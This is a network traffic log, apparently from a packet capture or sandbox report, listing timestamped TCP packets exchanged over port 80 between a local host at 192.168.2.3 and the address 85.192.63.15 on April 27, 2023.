Apr 27, 2023 07:41:54.174808025 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.176168919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.176203966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.176249027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.176292896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.176331043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.176357985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.176357985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.176423073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.179699898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.179779053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.179824114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.179860115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.179887056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.179887056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.179959059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.179959059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.184983015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.185023069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.185065985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.185092926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.185101986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.185148001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.185148954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.185188055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.185194016 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.185233116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.185281038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.186635971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.186690092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.186732054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.186738968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.186774015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.186805964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.186830044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.186904907 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.187063932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.191890001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.191963911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.192006111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.192012072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.192027092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.192051888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.192066908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.192104101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.212335110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.212425947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.212462902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.212510109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.212515116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.212515116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.212515116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.212548018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.212575912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.212594032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.214023113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.214071989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.214103937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.214107990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.214132071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.214154959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.214170933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.214193106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.214205980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.214240074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.215492010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.215537071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.215573072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.215579987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.215601921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.215617895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.215624094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.215653896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.215671062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.215708971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.218887091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.218928099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.218971014 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.218982935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.219010115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.219016075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.219027042 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.219052076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.219069958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.219114065 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.241043091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.241137981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.241193056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.241195917 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.241195917 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.241250038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.241252899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.241317987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.241318941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.241374016 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.241384983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.241425991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.241434097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.241482973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.460860968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.460953951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.461000919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.461081028 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.461138964 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.461211920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.465744019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.465791941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.465845108 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.465873957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.465899944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.465905905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.465905905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.465965033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.467417002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.467458963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.467510939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.467526913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.467535973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.467585087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.467592955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.467629910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.467652082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.467688084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.469099998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.469147921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.469196081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.469216108 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.469221115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.469259977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.469281912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.469327927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.474108934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.474159956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.474179983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.474211931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.474247932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.474301100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.474334955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.475801945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.475853920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.475884914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.475908041 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.475913048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.475960016 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.475979090 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.476020098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.479134083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.479182005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.479217052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.479263067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.479295969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.479304075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.479341030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.479373932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.479420900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.480747938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.480784893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.480829954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.480871916 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.480884075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.480915070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.480932951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.480967999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.480979919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.481003046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.481053114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.484158993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.484196901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.484245062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.484299898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.484307051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.484354973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.484361887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.484361887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.484415054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.485917091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.485953093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.485999107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.486042023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.486057997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.486077070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.486100912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.486135006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.486167908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.489233017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.489284039 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.489320040 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.489342928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.489342928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.489382982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.489408970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.489439964 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.505034924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.505085945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.505134106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.505171061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.505259991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.505314112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.506484032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.506531954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.506578922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.506619930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.506650925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.506711960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.509720087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.509766102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.509810925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.509856939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.509860992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.509893894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.509928942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.509998083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.511379957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.511485100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.511535883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.511562109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.511590958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.511605978 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.511640072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.511646986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.511682987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.511723995 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.514734983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.514771938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.514822960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.514863968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.514870882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.514894009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.514930964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.514942884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.514975071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.514997005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.515042067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.516402960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.516441107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.516485929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.516535997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.516551971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.516560078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.516590118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.516618013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.516654968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.518074036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.518109083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.518155098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.518198013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.518218994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.518223047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.518259048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.518286943 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.518322945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.521598101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.521636009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.521707058 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.521738052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.521750927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.521821976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.521853924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.521893978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.521920919 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.521955967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.540441036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.540494919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.540532112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.540584087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.540612936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.540630102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.540658951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.540704966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.541827917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.541863918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.541909933 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.541970015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.541976929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.542007923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.542057037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.542120934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.543559074 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.543596983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.543673992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.543719053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.543754101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.543968916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.546977997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.547029972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.547075987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.547118902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.547122002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.547171116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.547223091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.580899000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.580948114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.580995083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.581089973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.581093073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.581151009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.581151009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.581161022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.581221104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.587799072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.587850094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.587889910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.587910891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.587918043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.587958097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.587970972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.588139057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.589438915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.589487076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.589529037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.589550018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.589553118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.589596033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.589612007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.589657068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.591348886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.591383934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.591478109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.591478109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.591528893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.591578007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.591614008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.591617107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.591636896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.591697931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.594724894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.594772100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.594822884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.594845057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.594845057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.594861984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.594876051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.594914913 CEST	49697	80	192.168.2.3	85.192.63.15
